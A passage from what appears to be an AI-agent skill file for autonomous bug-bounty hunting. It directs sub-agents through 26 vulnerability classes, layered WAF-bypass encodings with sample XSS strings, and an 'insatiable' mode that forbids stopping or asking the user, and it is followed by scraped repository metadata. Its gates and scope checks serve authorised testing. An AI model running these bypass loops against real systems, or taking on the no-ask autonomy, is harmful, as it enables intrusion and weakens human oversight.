exhausted)\n\nAutopilot runs deeper than a single-payload probe. Before any hunter dispatch\nand after every hunter return, the following anti-shallow rules are in force:\n\n1. **Variant matrix first.** For the endpoint and vuln class, build the matrix\n   `method × content-type × auth-state × parser-confusion × encoding × transport`\n   before sending the first request. Call `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py matrix\n   \u003Cclass>` to seed it where a profile exists.\n2. **Baseline controls.** Send a known-benign probe and a known-malicious probe\n   first so bypasses are measured against a calibrated response delta.\n3. **Minimum-attempt floor: 25 distinct attempts per endpoint\u002Fclass** before\n   any \"exhausted\" verdict, unless a hard policy\u002Fscope\u002FWAF block is proven\n   with level-by-level evidence.\n4. **Encoding ladder per payload.** raw → url → double-url → unicode escapes →\n   html entities → mixed-case \u002F separator insertion. Keep the semantic payload\n   constant across the ladder. Then **stack encodings** in a single payload —\n   WAFs typically decode once, targets decode twice. Try at minimum: `html-entity\n   then url` (`%26lt%3Bscript%26gt%3B`), `url then double-url`\n   (`%253Cscript%253E`), `unicode-escape then url` (`%5Cu003cscript%5Cu003e`),\n   and `base64 inside url-encoded data URI`. Log which decoding order the\n   target actually applies.\n5. **Parser-differential tricks.** Duplicate params, array\u002Fobject coercion,\n   JSON vs form-body drift, HTTP parameter pollution, alternate delimiters.\n6. **Auth-state rotation.** unauth + low-priv user A + low-priv user B +\n   high-priv (if available) + expired token + stale session + cross-tenant.\n   Compare status, body length, markers, and timing — not just status codes.\n7. **Sequence \u002F state-machine abuse.** For workflow endpoints (billing,\n   approvals, profile updates, idempotency keys), replay, race, duplicate,\n   and reorder state transitions to catch business-logic and race bugs.\n8. **Combination pass.** At least 8 combined variants per endpoint. Cross\n   dimensions (encoding + method override, parser-confusion + alt\n   content-type, HPP + JSON\u002Fform drift) AND stack within dimensions\n   (url + html-entity in the same payload, url + unicode, double-url +\n   html-entity). Layered encodings defeat WAFs whose decoder runs once.\n9. **Cross-endpoint replay.** Every payload that fires (even partially) on\n   endpoint A is replayed on every sibling endpoint under the same router\n   before the branch is abandoned. This is Rule 8 of `rules\u002Fhunting.md`.\n10. **Second-opinion dispatch.** Any candidate that survives the first\n    hunter as \"potential\" must trigger one different specialist (e.g.\n    `dast-devils-advocate` or a sibling hunter) for adversarial\n    confirmation or kill decision.\n11. **Exhaustion ledger quality bar.** Every exhausted record must include\n    `variants_tried`, `dimensions_covered`, and `exact_blocker`. A generic\n    \"no vuln\" entry is invalid and will be re-dispatched.\n12. **Coverage persisted in brain via the structured writer.** Hunters do\n    NOT write `coverage-\u003Cclass>` markdown directly anymore — the gate\n    rejects bare markers. Use the structured writer, which calls the\n    exhaustion gate first and only writes if it passes:\n    ```bash\n    # dispatched class — most classes\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcoverage_record.py \\\n      --host \u003Chost> --class \u003Cclass> \\\n      --attempts \u003CN≥25> --variants \u003CM> --combos-tested \u003CT> --combos-remaining 0 \\\n      --encoding-steps \u003C≥3> --differential-evidence \\\n      --blocker \"\u003C≥20-char concrete technical reason>\" \\\n      --evidence evidence\u002F\u003Chost>\u002Fcoverage\u002F\u003Cclass>-attempts.jsonl\n\n    # surface-driven class — cache-deception, header-injection, h2-desync, method-confusion\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcoverage_record.py \\\n      --host \u003Chost> --class \u003Cclass> \\\n      --surface-status \"no-signal|signal:\u003Cdetails>|candidate-dispatched:\u003Chunter>\" \\\n      --evidence evidence\u002F\u003Chost>\u002Fsurface\u002F\u003Cprobe>.txt\n    ```\n    The writer creates `evidence\u002F\u003Chost>\u002Fcoverage\u002F\u003Cclass>.json` and appends\n    a `coverage-\u003Cclass>` brain entry pointing at it. The hard gate prefers\n    the JSON over the markdown line for substance checks.\n\n22. **Iterate the Canonical Hunter Class Set** (see EXHAUSTION CONTRACT — 26 classes). For\n    each class, you MUST either dispatch its specialized hunter OR record a\n    `not-applicable: \u003Cclass>` brain entry citing concrete surface-probe evidence\n    (e.g., \"no XML parsing surface — surface probe A returned no SOAP\u002FSVG\u002FSAML\n    endpoints\"). Auxiliary agents (`js-analyzer`, `config-auditor`,\n    `waf-profiler`, `sast-*`, `cloud-recon`, `vuln-scanner`) DO NOT count\n    toward class coverage — dispatch them only as feeders to actual hunters.\n\n    Dispatch up to 3 hunters in parallel. Order priority by:\n    a. Surface probe seeds — e.g., wildcard `Access-Control-Allow-Origin` →\n       `cors-hunter` first; CF-Connecting-IP trust → `auth-tester` first;\n       reflected `returnTo` → `open-redirect` + `oauth-hunter` first.\n    b. Tech stack signals — GraphQL endpoint → `graphql-audit` early; Next.js\n       Server Actions surface → `ssrf-hunter` early; chatbot\u002FRAG\u002FMCP →\n       `llm-ai-hunter` early.\n    c. Crown-jewel proximity — tenant boundaries \u002F billing \u002F admin \u002F OAuth \u002F\n       file ingestion \u002F AI tool execution = highest-CVSS chains.\n    d. Default sequence: `idor` → `auth-bypass` → `xss-reflected` →\n       `xss-stored` → `xss-dom` → `ssrf` → `sqli` → `oauth` → `open-redirect`\n       → `cors` → `csrf` → `info-disclosure` → `race-condition` →\n       `business-logic` → `privilege-escalation` → `file-upload` → `ssti` →\n       `rce` → `xxe` → `graphql` → `llm-ai` → `subdomain-takeover` →\n       `cache-deception` → `header-injection` → `h2-desync` →\n       `method-confusion`.\n\n    Continue iterating UNTIL every class either has a hunter dispatch or a\n    not-applicable record. **Do NOT exit step 22 early** — the orchestrator\n    cannot decide \"the rest are obviously not applicable\" without surface-\n    probe evidence backing each not-applicable.\n\n    For the dispatched class:\n    a. **Writeup intelligence (ENFORCED — do this before EVERY hunter dispatch):**\n       - Call `search_techniques` MCP tool for the vuln class\n       - Call `search_payloads` MCP tool for the vuln class\n       - If MCP unavailable, read `rules\u002Fpayloads.md` as fallback\n       - Include results in the hunter prompt\n    b. **WAF-aware hunter prompt (ENFORCED when WAF detected on target):**\n       Include in every hunter dispatch for WAF-protected targets:\n       ```\n       WAF DETECTED: \u003Cwaf_name> on this target.\n       Read `rules\u002Fwaf-bypass-protocol.md` AND `rules\u002Fpayloads.md` (WAF bypass\n       sections). Work through ALL 7 bypass levels systematically — ≥3 payloads\n       per level before moving to the next. Do NOT give up after 3-5 generic\n       payloads; that is the starting condition for the protocol, not the end.\n       Combine levels when one gets through partially (L1 encoding + L2 tag,\n       L2 tag + L4 keyword obfuscation, etc.).\n       Time box: 20 minutes on WAF bypass per endpoint.\n       Record per-level results in your output: which bypasses got blocked, which\n       got through, and what the response differentials looked like.\n\n       Never-valid verdicts (your output will be rejected if it contains these):\n       - \"WAF blocks \u003Cpayload>\" without a level-by-level record\n       - \"not vulnerable — WAF blocks attempts\"\n       - \"curl returns 403 so the endpoint is not vulnerable\"\n       ```\n    c. Dispatch specialized hunter agent (model: inherit) with:\n       - Policy preamble\n       - Writeup intelligence (techniques + payloads)\n       - **Variant matrix** (from Depth Engine step 1) + explicit requirement:\n         \"Do NOT stop at single-vector probes. Exhaust the matrix including\n         combinations. Minimum 25 distinct attempts before any 'exhausted'\n         verdict unless a policy\u002Fscope\u002FWAF block is proven.\"\n       - WAF context (type + bypass instructions if applicable)\n       - Brain context (tested vectors, tech stack, known endpoints)\n       - Scope boundaries\n       - If `--20m-off` NOT set: \"Time-box: 20 minutes. If no progress after 20 min, stop and report what you tested.\"\n       - **Chain-anchor preamble** (MANDATORY for feeder vuln-classes):\n         If the dispatched class is in the feeder list — `open-redirect`,\n         `cors`, `info-disclosure`, `csrf`, `subdomain-takeover`, `xxe`,\n         `file-upload`, `race-condition`, `business-logic`,\n         `privilege-escalation` — extract that class's anchors from\n         `rules\u002Fchain-table.md` \"Per-Class Chain Anchors\" section and\n         prepend this directive verbatim to the agent prompt:\n         ```\n         CHAIN-ANCHOR DIRECTIVE — this finding class sells low\u002FN-A standalone.\n         After confirming the bug, you MUST probe these chain anchors before\n         declaring the finding complete:\n         [paste the 3-5 anchors for the class from chain-table.md]\n         If any anchor returns signal → label finding CHAIN-CANDIDATE in brain\n         and STOP. Do not write a single-bug report. Autopilot will dispatch\n         chain-builder. If all anchors fail → finding is informational; apply\n         rules\u002Fnever-submit.md. The chain is the report.\n         ```\n    d. After hunter returns:\n       - Parse output for findings, tested endpoints, exhausted techniques,\n         AND matrix coverage percentage. Reject shallow results:\n         \u003C25 attempts, \u003C3 encoding-ladder steps, or missing differential\n         evidence → re-dispatch same class with stricter instructions.\n       - Run exhaustion gate before honoring any \"exhausted\" verdict:\n         ```bash\n         uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py exhaustion-gate \\\n           --attempts \u003Ccount> \\\n           --combos-tested \u003Ccount> \\\n           --combos-remaining \u003Ccount> \\\n           --encoding-steps \u003Ccount> \\\n           --differential-evidence\n         ```\n         If this command fails, do NOT mark exhausted — re-dispatch deeper.\n       - If hunter signals a DIFFERENT vuln class → adaptive re-search:\n         Call `search_techniques` + `search_payloads` for the new class →\n         dispatch appropriate specialized hunter with new intelligence\n       - Brain update for findings\u002Fexhausted entries: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> \u003Cstatus> \"\u003Ctechnique>\" \"\u003Cdetails>\"`\n       - Coverage update — use the structured writer, NOT bare brain.py:\n         ```bash\n         uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcoverage_record.py \\\n           --host \u003Chost> --class \u003Cclass> [dispatched flags OR --surface-status ...] \\\n           --evidence evidence\u002F\u003Chost>\u002Fcoverage\u002F\u003Cclass>-attempts.jsonl\n         ```\n         Refusal from coverage_record.py = stay in the loop, deepen the matrix.\n       - If hunter reports WAF bypass results: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> waf-bypass \"\u003Clevel: result pairs>\" \"\u003Cbypass details>\"`\n       - If a \"potential\" finding surfaces, dispatch a second-opinion\n         specialist (dast-devils-advocate, or a sibling hunter) BEFORE\n         advancing to the FINDING PIPELINE.\n       - Record telemetry for reprioritization:\n         ```bash\n         uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py record-outcome \\\n           --vuln-class \"\u003Cclass>\" \\\n           --result \"\u003Cconfirmed|killed|downgraded|partial>\" \\\n           --attempts \u003Ccount> \\\n           --elapsed-minutes \u003Cminutes> \\\n           --telemetry-path .autonomy-telemetry.json\n         ```\n       - Increment subagent counter\n\n23. **CHAIN-PRESSURE CHECK (every subagent completion):**\n    The chain_pressure_hook.py SubagentStop hook scans findings.json\n    after every agent run and writes\n    `.claude\u002Fagent-memory-local\u002Fchain-pending.md` if any feeder\n    findings (open-redirect, CORS, info-disclosure, CSRF,\n    subdomain-takeover, XXE, file-upload, race-condition,\n    business-logic, privilege-escalation) are confirmed without a\n    chain.\n\n    On each loop iteration:\n    a. `cat .claude\u002Fagent-memory-local\u002Fchain-pending.md 2>\u002Fdev\u002Fnull` —\n       check if pending list is non-empty.\n    b. **Refresh chain plan** if list non-empty:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fchain_plan.py \u003Ctarget>\n       ```\n       Writes `evidence\u002F\u003Ctarget>\u002FCHAIN_PLAN.md` with 3-5 candidate\n       next-links per feeder finding plus the agent to dispatch for\n       each. Read before deciding what to chain.\n    c. Mode-specific behavior:\n       - `--paranoid`: dispatch `chain-builder` for EVERY pending\n         entry before continuing the hunt loop. Block until chains\n         resolved or 20-min time-box expires. Use the chain plan\n         entries as the dispatch order (highest-CVSS feeder first).\n       - `--normal` (default): dispatch `chain-builder` for top\n         pending entry between hunter dispatches. Don't block the\n         loop; process one at a time. Plan entries inform which\n         agent to invoke as link 2.\n       - `--yolo`: skip auto-dispatch. Pending list + plan are\n         advisory only.\n    d. After chain-builder runs, the hook re-runs and updates\n       chain-pending.md; chain_plan refresh on next iteration drops\n       resolved entries because they now have chain markers in\n       findings.json.\n\n24. **FLUSH CYCLE (every 3 subagent completions):**\n    a. Full brain update — ensure all findings, endpoints, tech stack saved\n    b. `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fglobal_brain.py sync-from-local`\n    c. Refresh local autonomous surface ranking:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py rank-surface \\\n         --endpoints-file recon\u002Fendpoints.txt \\\n         --tech-stack \"\u003Clatest stack context>\" \\\n         --output ATTACK_SURFACE_RANKING.md\n       ```\n    d. Re-dispatch `recon-ranker` agent (model: inherit) to re-rank surface\n       (priorities shift as brain learns what's exhausted and what's confirmed)\n    e. Refresh class hypotheses with latest telemetry:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py classes \\\n         --tech-stack \"\u003Clatest stack context>\" \\\n         --target \u003Ctarget> \\\n         --telemetry-path .autonomy-telemetry.json \\\n         --output CLASS_HYPOTHESES.md\n       ```\n    f. Context checkpoint — check context usage:\n       - If > 60%: save full state to brain, print progress summary,\n         tell user: \"Context at X%. Run `\u002Fautopilot --resume` to continue in fresh context.\"\n         Then STOP.\n\n## FINDING PIPELINE (when hunter reports a potential finding)\n\n24. **Gate 1: Validator — 7-Question Gate**\n    Dispatch `validator` agent (model: inherit) with finding details.\n\n    - If **KILL** → brain update with reason, skip to next hunter. Done.\n    - If **CHAIN REQUIRED** → dispatch `chain-builder` first, re-validate if chain found, else brain update as exhausted. Done.\n    - If **DOWNGRADE** → note adjusted severity, continue pipeline at lower severity.\n    - If **PASS** → continue to Gate 2.\n\n25. **Gate 2: Browser Verification (MANDATORY for client-side findings)**\n\n    Classify the finding's vuln class:\n    - **Client-side** (requires browser verification): XSS-reflected, XSS-stored, XSS-DOM, prototype pollution, postMessage, DOM clobbering, CSS injection with JS impact, open redirect with token in URL\n    - **Server-side** (skip to Gate 3): IDOR, SSRF, SQLi, auth bypass, race condition, file upload RCE, command injection\n\n    If client-side:\n    a. Ensure camofox is running: `$CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh status || $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh start`\n    b. Dispatch `browser-verifier` agent (model: inherit) with:\n       - The finding (including PoC URL\u002Fcurl command)\n       - Policy preamble\n       - Target's WAF type (so verifier knows to use camofox)\n       - Instruction: \"Verify this payload executes in a real browser. Use DOM markers, not alert(). Diagnose failures.\"\n    c. Parse verdict:\n       - **BROWSER_CONFIRMED** → continue to Gate 3\n       - **BROWSER_REJECTED** → brain update: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> browser-rejected \"\u003Cfinding>\" \"\u003Creason: CSP\u002Fframework\u002Fcontext>\"`\n         Log the rejection reason. DO NOT proceed to report. Move on.\n       - **BROWSER_PARTIAL** → apply the verifier's severity adjustment, continue to Gate 3\n\n    **A client-side finding that skips browser verification MUST NOT reach \u002Freport.\n    This is non-negotiable. Curl reflection alone is not XSS.**\n\n26. **Gate 3: Devil's Advocate — Adversarial Severity Check**\n\n    Dispatch `dast-devils-advocate` agent (model: inherit) with:\n    - The finding (with browser verification results if applicable)\n    - Policy preamble\n    - Target's hacktivity context (known reports)\n    - Instruction: \"Attempt to disprove this finding. Check: is data actually public? Does impact match the claim? Is severity justified by evidence?\"\n\n    Parse verdict:\n    - **SURVIVES** → continue to reporting at the assessed severity\n    - **DOWNGRADE** → update severity to devil's advocate's assessment, continue to reporting\n    - **KILLED** → brain update: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> da-killed \"\u003Cfinding>\" \"\u003Creason>\"`\n      Log: \"Devil's advocate killed: [reason]\". Move on.\n    - **BLOCK** → missing verification. Should not happen if Gates 1-2 ran correctly.\n      If it does: dispatch the missing verifier, then re-run Gate 3.\n\n27. **Reporting Pipeline (finding survived all gates)**\n\n    a. Build autonomous chain plan first:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py chain-plan \\\n         --capability-file .claude\u002Fagent-memory-local\u002Fbrain\u002Fpatterns\u002Fcapability-graph.json \\\n         --output CHAIN_PLAN.md\n       ```\n    b. Dispatch `chain-builder` agent (model: inherit) with:\n       - Confirmed finding at FINAL severity (after all adjustments)\n       - `rules\u002Fchain-table.md` content\n       - Policy preamble\n       - Brain context\n    c. Run `\u002Fdupcheck` logic: search hacktivity via bounty-platforms MCP\n       - If likely duplicate → brain update, skip reporting, move on\n    d. Dispatch `poc-builder` agent (model: inherit) with:\n       - Include in prompt: \"You MUST run `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcapture.py screenshot` and `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcapture.py record` as part of every PoC. Evidence is not optional.\"\n       - For CF-protected targets: \"Use camofox for screenshots. Challenge pages are not evidence.\"\n       - If browser-verifier already captured screenshots, reference those: \"Browser verification screenshots exist at [paths]. Build on these, don't duplicate.\"\n    e. Dispatch `report-writer` agent (model: inherit) with:\n       - FINAL severity (post-devil's-advocate adjustment)\n       - All evidence paths (verified with `ls`)\n       - Browser verification results (if client-side)\n       - Devil's advocate assessment (include severity justification)\n    f. Dispatch `quality-check` agent (model: inherit) — must score >= 7\n       - Quality check must verify:\n         - Severity matches devil's advocate assessment (not the original hunter claim)\n         - Client-side findings include browser verification evidence\n         - PoC is reproducible (not just described)\n         - CVSS vector matches the ACTUAL impact (not theoretical)\n    g. Run evidence sufficiency score before finalizing report:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py evidence-score \\\n         --has-http-pair \\\n         --has-readback \\\n         --reliability-runs \u003Cn> \\\n         --reliability-hits \u003Cn> \\\n         --has-harm-artifact \\\n         --chain-depth \u003Cn>\n       ```\n       If result is DOWNGRADE\u002FKILL, adjust severity or drop the report.\n    h. Brain update: confirmed finding with report path\n       `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> confirmed \"\u003Cfinding>\" \"\u003Creport path, severity, gates passed>\"`\n       `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py capability \u003Ctarget> \"\u003Ccapability gained>\" --source \"\u003Cfinding id>\" --confidence 0.9 --details \"\u003Cproof>\"`\n\n    i. If `--interactive` mode: pause here, show finding + gate results to user:\n       ```\n       FINDING: [title]\n       Severity: [original] → [final after gates]\n       Validator:    PASS\n       Browser:      [CONFIRMED\u002FN\u002FA]\n       Devil's Adv:  [SURVIVES\u002FDOWNGRADE from X to Y]\n       Quality:      [score]\u002F10\n       Report:       reports\u002Fdrafts\u002F[filename]\n\n       [Submit \u002F Skip \u002F Edit]\n       ```\n\n28. After all vuln classes tested on target:\n    `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> exhausted \"all classes tested\" \"\u003Cfinal coverage summary>\"`\n29. Next P1 target → back to step 17\n\n## PRE-COMPLETION GATE (mandatory; blocks COMPLETION until ALL pass)\n\nBefore the COMPLETION section runs, run the hard gate tool. This is the\nsource of truth; do not replace it with an inline shell approximation.\n\n```bash\nuv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fautopilot_gate.py \\\n  --target \"\u003Coriginal \u002Fautopilot target argument>\" \\\n  --mode \"\u003Cinteractive|autonomous>\"\n```\n\nThe gate fails closed when any of these are true:\n\n- Any discovered live host in `recon\u002Flive-hosts.txt` is not explicitly ranked P1\u002FP2\u002FKill.\n- Any P1 target lacks a brain target file.\n- Any P1 target is missing surface probe artifacts for A, B, C, D, E, F, G, or I. Probe H is also required when Cloudflare evidence exists.\n- Any canonical hunter class lacks either `coverage-\u003Cclass>` or a valid `not-applicable: \u003Cclass>` entry.\n- A dispatched class records fewer than 25 explicit attempts, missing differential evidence, missing `variants_tried` \u002F `dimensions_covered` \u002F `exact_blocker`, or nonzero remaining combinations.\n- A surface-driven class records `signal:` without `candidate-dispatched:\u003Chunter>`.\n- A `not-applicable` entry is generic, does not cite surface evidence, or contradicts the method matrix.\n- Exhaustion is claimed through an auxiliary agent (`js-analyzer`, `config-auditor`, `waf-profiler`, `sast-*`, `cloud-recon`, `vuln-scanner`).\n- Autonomous wall-clock or subagent floors are not met.\n- `chain-pending.md` is non-empty.\n- Confirmed findings lack validator, browser-verifier when client-side, or devil's-advocate markers.\n\nIf any gate fails, the orchestrator MUST:\n\n1. Identify the specific failing assertion\n2. Return to HUNT LOOP (step 17) for the failing target\u002Fclass\n3. Re-run the gates after closing the gap\n4. **Only print COMPLETION SUMMARY when every gate passes**\n5. **Do NOT ask the user whether to continue — `--autonomous` means continue**\n\nRepeat-failure cap: if the same gate fails 3 times in a row on the same\nclass, dispatch `dast-devils-advocate` to confirm the gap is real (not a\nbrain query error), then either close it or document why the class is\ntruly not-applicable with technical justification from the surface probe.\n\n### Adversarial Exhaustion Review (mandatory after the hard gate passes)\n\nA hard-gate PASS means \"no failures the gate is built to detect.\" It is\nNOT proof of exhaustion. Before printing COMPLETION, dispatch\n`dast-devils-advocate` (model: inherit) with the following prompt:\n\n```\nsubtype: exhaustion\ntarget: \u003Coriginal \u002Fautopilot target>\ngate_log: \u003Cpath to autopilot_gate.py PASS output you just produced>\nlive_hosts: recon\u002Flive-hosts.txt\nranking: ATTACK_SURFACE_RANKING.md\nbrain_targets: .claude\u002Fagent-memory-local\u002Fbrain\u002Ftargets\u002F\nevidence_root: evidence\u002F\nrecon_depth: recon\u002Fdns-bruteforce.txt, recon\u002Furlscan-cdx.json, recon\u002Fgithub-code.json, recon\u002Fpublic-archives.txt, recon\u002Fmobile\u002F\n\nApply the \"Exhaustion Adversarial Review\" section in your agent file.\nDefault stance: there IS a gap. Find one or output NO_GAPS_FOUND.\n```\n\nThen parse the output:\n\n- If output contains `FOUND_GAPS:` → completion is forbidden. For each\n  gap, return to the HUNT LOOP for the listed host\u002Fclass with the\n  remediation as the next directive. Re-run the hard gate when each gap\n  is closed. After all gaps close, dispatch the adversarial reviewer\n  again — never trust \"I fixed all the gaps\" without a re-review.\n- If output is exactly `NO_GAPS_FOUND` → run the hard gate one more\n  time (defense in depth: the reviewer might have triggered new brain\n  writes). If that final hard-gate run also passes, proceed to\n  COMPLETION.\n\nOutput that doesn't end in either `FOUND_GAPS:` or `NO_GAPS_FOUND` is\nmalformed — re-dispatch the reviewer with explicit \"respond in the\nrequired format\" instruction.\n\nAfter the gate passes AND the adversarial reviewer returns\n`NO_GAPS_FOUND` AND the final hard-gate re-run passes, append the final\ncoverage matrix to brain:\n\n```bash\nuv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> coverage-final \\\n  \"\u003Cclass:status pairs for all 26 classes>\" \"\u003Cgate pass timestamp>\"\n```\n\n## COMPLETION\n\n30. Stop camofox if running: `$CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh stop`\n31. Final brain sync: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py log` + `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fglobal_brain.py sync-from-local`\n32. Final surface re-rank: dispatch `recon-ranker` agent to show remaining surface\n33. Print summary:\n    ```\n    AUTOPILOT SESSION COMPLETE\n    ══════════════════════════\n\n    Mode:             [interactive\u002Fautonomous]\n    Targets tested:   N exhausted, M remaining\n    WAF detected:     [CF: X hosts, Akamai: Y hosts, none: Z hosts]\n    Camofox used:     [yes\u002Fno]\n\n    Finding Pipeline:\n      Raw findings:          X\n      Validator PASS:        Y\n      Browser verified:      A confirmed, B rejected, C partial\n      Devil's advocate:      D survived, E downgraded, F killed\n      Reports ready:         R at reports\u002Fdrafts\u002F\n\n    Hallucinations caught:\n      Browser rejected:      B (would have been false XSS reports)\n      Devil's advocate killed: F (would have been N\u002FA or overestimated)\n      Estimated time saved:  ~[B+F] × 30 min = [hours] hours\n\n    Chains:          C discovered\n\n    Next steps:\n      \u002Fsubmit \u003Cfinding>    — submit a report (requires your approval)\n      \u002Fautopilot --resume  — continue with remaining targets\n      \u002Fstatus              — full dashboard\n    ```\n\n## Safety Rails (NON-NEGOTIABLE)\n\n- Scope check EVERY URL with `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fscope_check.py \u003Curl>` before any request\n- NEVER submit a report without explicit human approval\n- NEVER auto-submit in `--autonomous` mode — only produce reports\n- Circuit breaker: 5 consecutive 403\u002F429 on same host → back off 60s, rotate to a different endpoint. Do NOT skip the host outright on WAF 403 — that is a bypass problem, not a vuln verdict. See `rules\u002Fwaf-bypass-protocol.md`.\n- Rate limit: 1 req\u002Fsec for testing, 10 req\u002Fsec for recon\n- All agents dispatched with `model: \"inherit\"` — never inherit Opus\n- Client-side findings MUST pass browser verification — no exceptions\n- ALL findings MUST pass devil's advocate — no exceptions\n- Camofox cleanup: always stop on session end unless `--resume` expected\n- **EXHAUSTION CONTRACT and PRE-COMPLETION GATE are NON-NEGOTIABLE.** `--autonomous` mode is INSATIABLE: do not stop, do not ask the user, do not skip surface probes, do not substitute auxiliary agents for hunters, do not print COMPLETION until the gate passes.\n- Banned tools (this workspace): `nuclei`, `ugrep`. Never include them in any agent prompt; the surface probe uses `httpx`\u002F`ffuf`\u002F`dirsearch`\u002F`curl` instead.\n\n## Top-Tier Control Loop\n\nAutopilot is not \"run every agent until something happens.\" It is a controlled experiment loop.\n\n1. Every dispatch needs four fields: objective, budget, abort condition, and required artifact. Reject agent output that does not answer all four.\n2. Keep a live queue with `P1`, `P2`, `blocked`, `chain-pending`, and `killed`. Re-rank after every confirmed capability, major block, or new recon artifact.\n3. Do not count activity as progress. Progress is one of: new reachable surface, disproved hypothesis, confirmed capability, validated chain, report-ready evidence.\n4. Promote a finding only when the proof artifact matches the claimed impact. Reflection is not XSS, a 403 bypass is not authorization failure, a leaked URL is not sensitive data.\n5. Spend budget asymmetrically. Double down on endpoints that expose state transitions, tenant boundaries, billing, admin delegation, file ingestion, OAuth callbacks, or AI\u002Ftool execution.\n6. Stop cleanly: checkpoint the queue, coverage matrix, pending chains, cost, and exact next command. A resumed session should not need to rediscover context.\n",{"name":5,"description":7,"disable-model-invocation":20},"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fautopilot",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":33,"prompt":43,"zipAvailable":44},[34,37,40],{"tool":35,"command":36},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill autopilot",{"tool":38,"command":39},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill autopilot",{"tool":41,"command":42},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill autopilot","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fautopilot\u002FSKILL.md",true,[],[47,55,60,67,74,81],{"skillNo":48,"name":49,"nameZh":6,"description":50,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":51,"categories":52,"keywords":53,"publishedAt":54},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":56,"name":49,"nameZh":6,"description":50,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":57,"categories":58,"keywords":59,"publishedAt":54},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":61,"name":62,"nameZh":6,"description":63,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":64,"categories":65,"keywords":66,"publishedAt":54},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import 